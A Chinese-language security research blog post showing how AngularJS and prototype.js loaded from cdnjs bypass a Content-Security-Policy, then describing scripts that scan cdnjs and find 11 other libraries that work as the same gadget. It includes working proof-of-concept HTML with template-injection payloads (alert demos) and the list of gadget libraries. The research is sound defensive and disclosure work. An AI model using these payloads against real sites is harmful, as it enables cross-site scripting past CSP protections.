我最近正好奇著大家讀完我的技術文章後的感想,有空的話可以幫我填一下:表單連結

自動化尋找 AngularJS CSP Bypass 中 prototype.js 的替代品

在我之前的文章:從 cdnjs 的漏洞來看前端的供應鏈攻擊與防禦裡面有提過可以藉由 cdnjs 來繞過 CSP,而有其中一種繞過手法必須搭配 prototype.js 才能成功。

在理解原理之後,我開始好奇在 cdnjs 上面是否還有其他 library 可以做到類似的事情,因此就開始著手研究。

這篇會從 cdnjs 的 CSP 繞過開始講,講到為什麼需要 prototype.js,接著再提到我怎麼從 cdnjs 上找到它的替代品。

cdnjs + AngularJS CSP bypass

在 CSP 裡面放上 https://cdnjs.cloudflare.com 其實是很危險的一件事情,因為有一個許多人都知道的方式,可以繞過這個 CSP。

詳情可參考這兩篇文章:

  1. Bypassing path restriction on whitelisted CDNs to circumvent CSP protections - SECT CTF Web 400 writeup
  2. H5SC Minichallenge 3: “Sh*t, it’s CSP!”

實際的繞過方式如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<html lang="en">
<head>
<meta charset="utf-8">
<title>CSP bypass</title>
<meta
http-equiv="Content-Security-Policy"
content="default-src 'none'; script-src https://cdnjs.cloudflare.com">
</head>
<body>
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{$on.curry.call().alert('xss')}}
</div>
</body>
</html>

因為 CSP 中有 cdnjs,所以我們可以引入其他的 library,這邊我們挑的是 AngularJS,引入了以後我們就可以用 CSTI 的方式注入底下這一段:

1
2
3
<div ng-app ng-csp>
{{$on.curry.call().alert('xss')}}
</div>

這邊為什麼是 $on.curry.call() 呢?你可以把它換成 window 看看,會發現沒有反應,這是因為 AngularJS 的 expression 是放在一個 scope object 裡面,你沒辦法直接存取到 window 或是 window 上的屬性。

而這邊有另一個重點是 CSP 沒有開 unsafe-eval,所以你也不能直接 constructor.constructor('alert(1)')() 之類的。

從最後的結果看起來,$on.curry.call() 似乎等同於 window,那是為什麼呢?這就是 prototype.js 派上用場的地方了,我們來看一下它的部分原始碼,src/prototype/lang/function.js

1
2
3
4
5
6
7
8
function curry() {
if (!arguments.length) return this;
var __method = this, args = slice.call(arguments, 0);
return function() {
var a = merge(args, arguments);
return __method.apply(this, a);
}
}

這個 function 會加在 Function.prototype 上面,而重點其實只有第一行:if (!arguments.length) return this;,如果沒有帶參數的話,會直接回傳 this。在 JavaScript 裡面,如果你用 call 或是 apply 來呼叫函式的話,第一個參數可以指定 this 的值,如果沒有傳的話就會是預設值,在嚴格模式底下是 undefined,非嚴格模式底下是 window

這也是為什麼 $on.curry.call() 會是 window,因為 $on 是個 function,所以呼叫 $on.curry.call() 的時候,由於 this 沒帶所以預設是 window,參數也沒帶,因此 curry 這個函式就會根據第一行的條件句,把 this 也就是 window 回傳回來。

總結一下,之所以 AngularJS 需要 prototype.js 的幫忙,是因為 prototype.js:

  1. 提供了一個加在 prototype 上的函式
  2. 而且這個函式會回傳 this

第一點很重要,因為前面有提過在 expression 裡面沒辦法存取到 window,所以一般的 library 加的東西其實也是拿不到的,但 prototype.js 是把東西放在 prototype 上面,所以可以透過 prototype 來存取到新增的 method。

第二點也很重要,搭配 this 預設會是 window 這個特性,就可以讓我們拿到 window。

知道了原理之後,就知道該怎麼找替代品了,只要找到有相同功能的就好了。而此時我突然想到以前寫過的一篇文章:Don’t break the Web:以 SmooshGate 以及 keygen 為例,在裡面我有提到因為 MooTools 習慣在 prototype 上面新增東西,導致原本要叫做 flatten 的 method 只好改名叫 flat(後來看 maple 的 writeup 才知道原來 Array.prototype.includes 不叫 Array.prototype.contains 也是因為 MooTools)

那會不會 MooTools 也符合我們上面的條件呢?

手動找出替代品之 MooTools

我們可以在這個資料夾中找出 MooTools 改的各種 prototype:https://github.com/mootools/mootools-core/tree/master/Source/Types

裡面有:

  1. Array
  2. DOMEvent
  3. Function
  4. Number
  5. Object
  6. String

因為檔案都不大,所以可以一個一個看,想更快的話也可以直接用 return this 當作關鍵字來搜尋,結果隨便一找就找到兩個:

1
2
3
4
5
6
7
8
9
10
11
12
13
Array.implement({
erase: function(item){
for (var i = this.length; i--;){
if (this[i] === item) this.splice(i, 1);
}
return this;
},

empty: function(){
this.length = 0;
return this;
},
})

Array.prototype.eraseArray.prototype.empty 兩個函式都會回傳 this,所以底下兩個方法都可以拿到 window:

  1. [].erase.call()
  2. [].empty.call()

接著馬上來試試看 CSP bypass 是否成功:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<html lang="en">
<head>
<meta charset="utf-8">
<title>CSP bypass - MooTools</title>
<meta
http-equiv="Content-Security-Policy"
content="default-src 'none'; script-src https://cdnjs.cloudflare.com">
</head>
<body>
<script src="https://cdnjs.cloudflare.com/ajax/libs/mootools/1.6.0/mootools-core.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{[].erase.call().alert('xss')}}
</div>
</body>
</html>

打開網頁之後發現確實有跳出 alert,果然成功了!

既然確認手動找得到以後,就可以來想想看怎麼自動化了。

自動化尋找替代品

一個滿簡單直覺的自動化流程大概就是:

  1. 找出 cdnjs 上面所有的 library
  2. 找出每個 library 的所有 JS 檔案
  3. 用 headless browser(我用 puppeteer)來測試每個 JS 是否會在 prototype 上新增屬性
  4. 嘗試呼叫新增的屬性,看是否會回傳 window

其中有一些細節的部分端看個人想要怎麼處理,例如說更精緻一點的話可以針對套件的所有版本都做測試,但是那樣做的話測試量可能會變五到十倍,由於我只是想做個初步的研究,所以不考慮套件版本,一律使用最新版的。

此外,除了找到可以回傳 this 的方法以外,我也想看有哪些套件會去動你的 prototype,這個可以從第三步的結果得知。

最後,我這邊只找「沒帶參數呼叫以後會回傳 this 的方法」,但可能會有那種參數符合特定條件才回會傳 this 的,這些需要人工去看,所以我先不考慮。

找出 cdnjs 上所有的 library

去 cdnjs 的網站上面觀察一下,可以發現背後是去呼叫放在 algolia 的 API,algolia 其實有提供把所有資料拉回來的方法,但官網的 api key 不支援,然後分頁的話又會受到限制,只能拿到前 1000 筆結果。

於是,我找到了 search 的 API,先假設每個字母開頭的套件不會超過 1000 個,就可以從 a-zA-Z0-9 去尋找以每個字母開頭的套件,藉此繞過 1000 筆的限制,讀到所有套件的資料。

程式碼的實作大概是這樣:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
const axios = require('axios')
const fs = require('fs');

const API_HOST = 'https://2qwlvlxzb6-dsn.algolia.net/'
const SEARCH_API_URL = '/1/indexes/libraries/query'
const API_KEY = '2663c73014d2e4d6d1778cc8ad9fd010'
const APP_ID = '2QWLVLXZB6'

const instance = axios.create({
baseURL: API_HOST,
headers: {
'x-algolia-api-key': API_KEY,
'x-algolia-application-id': APP_ID
}
})

const sleep = ms => new Promise(resolve => setTimeout(resolve, ms))

function write(content) {
fs.writeFileSync('./data/libs.json', content)
}

async function main() {
let chars = 'abcdefghijklmnopqrstuvwxyz0123456789'.split('')
let allItems = []
let existLib = {}
for(let char of chars) {
console.log(`fetching ${char}`)
try {
await sleep(500)
const data = await getLibraries(char)
const hits = data.hits
console.log('length:', hits.length)

const filtered = []
for(let item of hits) {
if (!existLib[item.name]) {
filtered.push(item)
}
existLib[item.name] = true
}
allItems = allItems.concat(filtered)
console.log('filtered length:', filtered.length)
console.log('total length:', allItems.length)
write(JSON.stringify(allItems, null, 2))
} catch(err) {
console.log('Error!')
console.log(err, err.toString())
}
}
}

async function getLibraries(keyword) {
const response = await instance.post(SEARCH_API_URL, {
params: `query=${keyword}&page=0&hitsPerPage=1000`,
restrictSearchableAttributes: [
'name'
]
})
return response.data
}

main()

跑完以後,我們就可以拿到一個有所有 cdnjs 套件跟名稱的列表。

找出每個 library 的所有 JS 檔案

套件的基本資料是放在 algolia,但是一些細節則是放在 cdnjs 自己的 API。

而這個 API 的規則也很簡單,網址就是:https://api.cdnjs.com/libraries/${套件名稱}/${版本},所以只要把上一步的列表整理一下拿去打 API,就可以拿到每一個套件有哪些檔案:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
const axios = require('axios')
const fs = require('fs');

const sleep = ms => new Promise(resolve => setTimeout(resolve, ms))

function write(content) {
fs.writeFileSync('./data/libDetail.json', content)
}

if (!fs.existsSync('./data/libDetail.json')) {
write('[]')
}

const existMap = {}
let detailItems = JSON.parse(fs.readFileSync('./data/libDetail.json', 'utf8'))
for(let item of detailItems) {
existMap[item.name] = true
}

async function getDetail(libName, version) {
const url = `https://api.cdnjs.com/libraries/${encodeURIComponent(libName)}/${version}`
try {
const response = await axios(url)
return response.data
} catch(err) {
console.log(url)
console.log('failed:', libName, err.message)
//process.exit(1)
}
}

async function getLib(libraries, lib) {
console.log('fetching:', lib.name)
const detail = await getDetail(lib.name, lib.version)
if (!detail) return
detailItems.push(detail)
write(JSON.stringify(detailItems, null, 2))
console.log(`progress: ${detailItems.length}/${libraries.length}`)
}

async function getFiles() {
const libraries = JSON.parse(fs.readFileSync('./data/libs.json', 'utf8'))
for(let lib of libraries) {
if (existMap[lib.name]) continue
await sleep(200)
getLib(libraries, lib)
}
}

async function main() {
getFiles()
}

main()

找出符合條件的套件

套件列表有了,每個套件有哪些檔案也有了。接著來到我們的最後一步:找出符合條件的套件。

在 cdnjs 上的套件有 4000 多個,如果一個一個跑的話,那就必須跑 4000 多遍,但其實符合我們條件的應該是少數,所以我選擇 10 個一組去跑,原因是 10 個套件的檔案應該不至於到真的太多,不用怕載入時間很長。如果這 10 個套件都沒有更動 prototype,那就下一組,如果有的話,就用類似二分搜的方式去找出哪些套件有改動到。

而偵測的 HTML 大概長這樣:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<script>
function getPrototypeFunctions(prototype) {
return Object.getOwnPropertyNames(prototype)
}
var protos = {
array: getPrototypeFunctions(Array.prototype),
string: getPrototypeFunctions(String.prototype),
number: getPrototypeFunctions(Number.prototype),
object: getPrototypeFunctions(Object.prototype),
function: getPrototypeFunctions(Function.prototype)
}
</script>
</head>
<body>
<!-- insert script here -->
<script src="..."></script>
<!-- insert script here -->
<script>
var newProtos = {
array: getPrototypeFunctions(Array.prototype),
string: getPrototypeFunctions(String.prototype),
number: getPrototypeFunctions(Number.prototype),
object: getPrototypeFunctions(Object.prototype),
function: getPrototypeFunctions(Function.prototype)
}
let result = {
prototypeFunctions: [],
functionsReturnWindow: []
}
function check() {
checkPrototype('array', 'Array.prototype', Array.prototype)
checkPrototype('string', 'String.prototype', String.prototype)
checkPrototype('number', 'Number.prototype', Number.prototype)
checkPrototype('object', 'Object.prototype', Object.prototype)
checkPrototype('function', 'Function.prototype', Function.prototype)
return result
}
function checkPrototype(name, prototypeName, prototype) {
const oldFuncs = protos[name]
const newFuncs = newProtos[name]
for(let fnName of newFuncs) {
if (!oldFuncs.includes(fnName)) {
const fullName = prototypeName + '.' + fnName
result.prototypeFunctions.push(fullName)
try {
if (prototype[fnName].call() === window) {
result.functionsReturnWindow.push(fullName)
}
} catch(err) {
}
}
}
}
</script>
</body>
</html>

我們在套件還沒載入時,先記錄起每個 prototype 上面的屬性,載入套件以後再記錄一次然後跟之前做比對,就可以找出哪些是套件引入後才新增的屬性。然後我們也可以把結果分成兩種,一種是只要有改動到 prototype 就記下來,另外一種則是呼叫以後會回傳 window 的。

整個測試的程式碼比較長一點,完整版在這邊:https://github.com/aszx87410/cdnjs-prototype-pollution/blob/main/scan.js

但流程大概就是:

  1. 每十個套件一組,找出會汙染 prototype 的套件
  2. 找出套件後,再找出到底是哪些檔案會汙染 prototype
  3. 印出結果

研究結果

在 4290 個套件中,有 74 個(1.72%)套件會在 prototype 上面新增屬性,清單如下:

  1. [email protected]
  2. [email protected]
  3. [email protected]
  4. [email protected]
  5. [email protected]
  6. [email protected]
  7. [email protected]
  8. [email protected]
  9. [email protected]
  10. [email protected]
  11. [email protected]
  12. [email protected]
  13. [email protected]
  14. [email protected]
  15. [email protected]
  16. [email protected]
  17. [email protected]
  18. [email protected]
  19. [email protected]
  20. [email protected]
  21. [email protected]
  22. [email protected]
  23. [email protected]
  24. [email protected]
  25. [email protected]
  26. [email protected]
  27. [email protected]
  28. [email protected]
  29. [email protected]
  30. [email protected]
  31. [email protected]
  32. [email protected]
  33. [email protected]
  34. [email protected]
  35. [email protected]
  36. [email protected]
  37. [email protected]
  38. [email protected]
  39. [email protected]
  40. [email protected]
  41. [email protected]
  42. [email protected]
  43. [email protected]
  44. [email protected]
  45. [email protected]
  46. [email protected]
  47. [email protected]
  48. [email protected]
  49. [email protected]
  50. [email protected]
  51. [email protected]
  52. [email protected]
  53. [email protected]
  54. [email protected]
  55. [email protected]
  56. [email protected]
  57. [email protected]
  58. [email protected]
  59. [email protected]
  60. [email protected]
  61. [email protected]
  62. [email protected]
  63. [email protected]
  64. [email protected]
  65. [email protected]
  66. [email protected]
  67. [email protected]
  68. [email protected]
  69. [email protected]
  70. [email protected]
  71. [email protected]
  72. [email protected]
  73. [email protected]
  74. [email protected]

而這 74 個中,有 12 個(16.2%)符合我們的條件,直接呼叫會回傳 this,清單如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
[
{
"url": "https://cdnjs.cloudflare.com/ajax/libs/asciidoctor.js/1.5.9/asciidoctor.min.js",
"functions": [
"Array.prototype.$concat",
"Array.prototype.$push",
"Array.prototype.$append",
"Array.prototype.$rotate!",
"Array.prototype.$shuffle!",
"Array.prototype.$sort",
"Array.prototype.$to_a",
"Array.prototype.$to_ary",
"Array.prototype.$unshift",
"Array.prototype.$prepend",
"String.prototype.$initialize",
"String.prototype.$chomp",
"String.prototype.$force_encoding",
"Function.prototype.$to_proc"
]
},
{
"url": "https://cdnjs.cloudflare.com/ajax/libs/jquery-ui-bootstrap/0.5pre/third-party/jQuery-UI-Date-Range-Picker/js/date.js",
"functions": [
"Number.prototype.milliseconds",
"Number.prototype.millisecond",
"Number.prototype.seconds",
"Number.prototype.second",
"Number.prototype.minutes",
"Number.prototype.minute",
"Number.prototype.hours",
"Number.prototype.hour",
"Number.prototype.days",
"Number.prototype.day",
"Number.prototype.weeks",
"Number.prototype.week",
"Number.prototype.months",
"Number.prototype.month",
"Number.prototype.years",
"Number.prototype.year"
]
},
{
"url": "https://cdnjs.cloudflare.com/ajax/libs/ext-core/3.1.0/ext-core.min.js",
"functions": [
"Function.prototype.createInterceptor"
]
},
{
"url": "https://cdnjs.cloudflare.com/ajax/libs/datejs/1.0/date.min.js",
"functions": [
"Number.prototype.milliseconds",
"Number.prototype.millisecond",
"Number.prototype.seconds",
"Number.prototype.second",
"Number.prototype.minutes",
"Number.prototype.minute",
"Number.prototype.hours",
"Number.prototype.hour",
"Number.prototype.days",
"Number.prototype.day",
"Number.prototype.weeks",
"Number.prototype.week",
"Number.prototype.months",
"Number.prototype.month",
"Number.prototype.years",
"Number.prototype.year"
]
},
{
"url": "https://cdnjs.cloudflare.com/ajax/libs/json-forms/1.6.3/js/brutusin-json-forms.min.js",
"functions": [
"String.prototype.format"
]
},
{
"url": "https://cdnjs.cloudflare.com/ajax/libs/inheritance-js/0.4.12/inheritance.min.js",
"functions": [
"Object.prototype.mix",
"Object.prototype.mixDeep"
]
},
{
"url": "https://cdnjs.cloudflare.com/ajax/libs/melonjs/1.0.1/melonjs.min.js",
"functions": [
"Array.prototype.remove"
]
},
{
"url": "https://cdnjs.cloudflare.com/ajax/libs/mootools/1.6.0/mootools-core-compat.min.js",
"functions": [
"Array.prototype.erase",
"Array.prototype.empty",
"Function.prototype.extend",
"Function.prototype.implement",
"Function.prototype.hide",
"Function.prototype.protect"
]
},
{
"url": "https://cdnjs.cloudflare.com/ajax/libs/mootools/1.6.0/mootools-core.min.js",
"functions": [
"Array.prototype.erase",
"Array.prototype.empty",
"Function.prototype.extend",
"Function.prototype.implement",
"Function.prototype.hide",
"Function.prototype.protect"
]
},
{
"url": "https://cdnjs.cloudflare.com/ajax/libs/opal/0.3.43/opal.min.js",
"functions": [
"Array.prototype.$extend",
"Array.prototype.$to_proc",
"Array.prototype.$to_a",
"Array.prototype.$collect!",
"Array.prototype.$delete_if",
"Array.prototype.$each_index",
"Array.prototype.$fill",
"Array.prototype.$insert",
"Array.prototype.$keep_if",
"Array.prototype.$map!",
"Array.prototype.$push",
"Array.prototype.$shuffle",
"Array.prototype.$to_ary",
"Array.prototype.$unshift",
"String.prototype.$as_json",
"String.prototype.$extend",
"String.prototype.$intern",
"String.prototype.$to_sym",
"Number.prototype.$as_json",
"Number.prototype.$extend",
"Number.prototype.$to_proc",
"Number.prototype.$downto",
"Number.prototype.$nonzero?",
"Number.prototype.$ord",
"Number.prototype.$times",
"Function.prototype.$include",
"Function.prototype.$module_function",
"Function.prototype.$extend",
"Function.prototype.$to_proc"
]
},
{
"url": "https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.3/prototype.min.js",
"functions": [
"Array.prototype.clear",
"Number.prototype.times",
"Function.prototype.curry"
]
},
{
"url": "https://cdnjs.cloudflare.com/ajax/libs/tmlib.js/0.5.2/tmlib.min.js",
"functions": [
"Array.prototype.swap",
"Array.prototype.eraseAll",
"Array.prototype.eraseIf",
"Array.prototype.eraseIfAll",
"Array.prototype.clear",
"Array.prototype.shuffle",
"Number.prototype.times",
"Number.prototype.upto",
"Number.prototype.downto",
"Number.prototype.step",
"Object.prototype.$extend",
"Object.prototype.$safe",
"Object.prototype.$strict"
]
}
]

扣掉開頭講的 prototype.js,我們還有其他 11 個套件可以搭配使用,讓我們繞過限制,順利拿到 window

總結

透過把 cdnjs 上的套件資料都抓下來,以及使用 headless browser 幫忙驗證,我們成功找到了 11 個 prototype.js 的替代品,這些套件都會在 prototype 上面新增方法,而且呼叫這些方法以後都會回傳 this,可以藉由呼叫它來取得 window

從開始執行到產出結果,大概花了一兩天而已,因為資料格式相對單純,驗證方式也很單純,數量也沒有說真的很多,想加速的話也可以多開幾個 thread 來跑。

另外,找出替代品其實也沒什麼太大的意義,只是好奇而已,因為通常也不會有網頁特別去擋 prototype.js,所以其實只要找到一個可以拿到 window 的套件就足夠了。

但總之這個研究的過程還是滿好玩的。

完整程式碼:https://github.com/aszx87410/cdnjs-prototype-pollution

用 CSS 來偷資料 - CSS injection(上) UIUCTF 2022 筆記

評論

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×